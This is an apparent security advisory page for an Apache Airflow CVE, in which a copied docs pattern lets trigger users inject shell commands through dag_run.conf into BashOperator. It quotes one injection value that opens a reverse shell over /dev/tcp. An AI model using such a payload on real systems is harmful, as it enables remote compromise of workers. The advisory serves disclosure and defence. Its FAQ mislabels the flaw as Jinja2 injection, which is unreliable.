CVE-2026-42252: Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern
Apache Airflow's official documentation at core-concepts/dag-run.html ("Passing Parameters when triggering Dags") showed a verbatim BashOperator(bashcommand="echo value: {{ dagrun.conf['conf1'] }}") example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had Dag.cantrigger permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the conf field of the trigger API: an authenticated trigger user could supply "; bash -i >& /dev/tcp/.../9999 0>&1; #" as a conf value and reach an os.exec on the worker. This CVE covers the documentation correction in apache/airflow PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to apache-airflow 3.2.2 or later to pick up the corrected documentation shipped with the release.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
apache/airflowto a version that resolves this vulnerability.Fixed in 3.2.2Patch CVE-2026-42252
Event History
Frequently Asked Questions
What is the severity of CVE-2026-42252?
The severity of CVE-2026-42252 is critical with a CVSS score of 9.1.
How do I fix CVE-2026-42252?
To fix CVE-2026-42252, apply the patch provided in the latest Apache Airflow release.
What is the risk associated with CVE-2026-42252?
CVE-2026-42252 has a risk rating of 70, indicating a significant potential impact.
Who is affected by CVE-2026-42252?
CVE-2026-42252 affects users of Apache Airflow who utilize the BashOperator without proper sanitization.
What type of injection is involved in CVE-2026-42252?
CVE-2026-42252 involves a Jinja2 injection vulnerability through the BashOperator in Apache Airflow.